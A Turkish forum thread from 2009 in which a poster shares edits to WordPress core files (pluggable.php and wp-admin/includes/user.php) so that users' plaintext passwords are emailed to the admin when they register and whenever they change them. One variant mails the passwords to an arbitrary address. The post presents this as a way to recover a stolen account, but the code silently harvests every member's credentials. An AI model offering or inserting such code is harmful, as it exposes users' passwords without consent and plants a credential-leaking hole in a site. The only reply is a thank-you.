• 22-12-2009, 23:50:47
    #1
    MaD
    Eposta Aktivasyonu Gerekmekte
    Zamanında basım cok yandı..benim işime yaramıstı yine lazım oldu burda varmı yokmu bilmiyorum ama rastlamamıstım


    1. Üye Kayıt ve Şifre Bildirgeci

    Sitenize yeni bir üye kayıt olduğu zaman, site yöneticisine bir mail gider ve içerisinde kullanıcı adı ve eposta adresi yazar.
    Biz yöneticiye giden maile yeni üyenin şifresini de eklemek istiyoruz.

    İşte yapacaklarınız:

    1. WordPress dizinindeki wp-includes klasörüne giriniz.
    2. pluggable.php dosyasını açınız.
    3. Aşağıdaki aramayı yapınız.


    Kod:

    1.function wp_new_user_notification

    4. Daha sonra bu satırın altındaki şu satırları seçin:


    Kod:

    1.$message  = sprintf(__('New user registration on your blog %s:'), get_option('blogname')) . "\r\n\r\n";
          2.$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
          3.$message .= sprintf(__('E-mail: %s'), $user_email) . "\r\n";
    5. Seçtiğiniz satırları, aşağıdaki satırlar ile değiştirin:


    Kod:

    1.$message  = sprintf(__('New user registration on your blog %s:'), get_option('blogname')) . "\r\n\r\n";
          2.$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
          3.$message .= sprintf(__('Password: %s'), $plaintext_pass) . "\r\n\r\n";
          4.$message .= sprintf(__('E-mail: %s'), $user_email) . "\r\n";
    6. Dosyayı kaydedin ve kapatın.

    2. Üye Şifre Güncelleme Bildirgeci

    Yukarıda yeni kayıt olan üyeler için nasıl şifre göndereceğimizi öğrendik. Şimdi ise bir üye şifresini değiştirdiği zaman, yeni şifreyi site yöneticisine nasıl bildiririz bunu öğreneceğiz.
    Buradaki temel amaç, kazara şifrenizi çaldırdığınızda, çalan kişi şifrenizi değiştirirse, hızlı bir şekilde şifreyi ele geçirmektir Yani çalan adam şifre değiştirirse, size otomatik mail gelecektir

    Yapılacak İşlemler:

    1. WordPress dizinindeki wp-admin klasörüne giriniz.
    2. Daha sonra wp-admin içerisindeki includes klasörüne giriniz.
    3. user.php dosyasını açınız.
    4. Aşağıdaki aramayı yapınız.


    Kod:

     1.if (!empty ( $pass1 ))
          2.$user->user_pass = $pass1;
    5. Yukarıdaki satırları seçiniz ve aşağıdakiler ile değiştiriniz:


    Kod:

    1.if (!empty ( $pass1 )) {
          2.$user->user_pass = $pass1;
          3.$message  = sprintf(__('%s isimli üyeniz üye bilgilerini güncelledi:'), $user->user_login) . "\r\n\r\n";
          4.$message .= sprintf(__('Username: %s'), $user->user_login) . "\r\n\r\n";
          5.$message .= sprintf(__('Password: %s'), $pass1) . "\r\n";
          6.@wp_mail(get_option('admin_email'), sprintf(__('[%s] Üye Şifresi Güncellendi'), $user->user_login), $message);
          7.}
    6. Dosyayı kaydedin ve kapatın.

    Artık üyeler şifrelerini güncellediklerinde yeni şifreleri, yöneticinin mail adresine gönderilecektir.
    Eğer yukarıdaki 5.maddede şifrelerin yönetici mailine değilde, sizin belirlediğiniz bir mail adresine gelmesini istiyorsanız, bu kodları aşağıdaki gibi değiştiriniz:
    Kod:

    1.if (!empty ( $pass1 )) {
    2.$user->user_pass = $pass1;
    3.$message  = sprintf(__('%s isimli üyeniz üye bilgilerini güncelledi:'), $user->user_login) . "\r\n\r\n";
    4.$message .= sprintf(__('Username: %s'), $user->user_login) . "\r\n\r\n";
    5.$message .= sprintf(__('Password: %s'), $pass1) . "\r\n";
    6.@wp_mail("test@blabla.com", sprintf(__('[%s] Üye Şifresi Güncellendi'), $user->user_login), $message);
    7.}

    test@blabla.com yerine kendi eposta adresinizi yazmayı unutmayın


    Not:arsivimdeydi bi yerden almıstım ama adresi yazmamısım..artık yazan arkadas kusura bakmasın..
  • 26-12-2009, 17:13:24
    #2
    Teşekkürler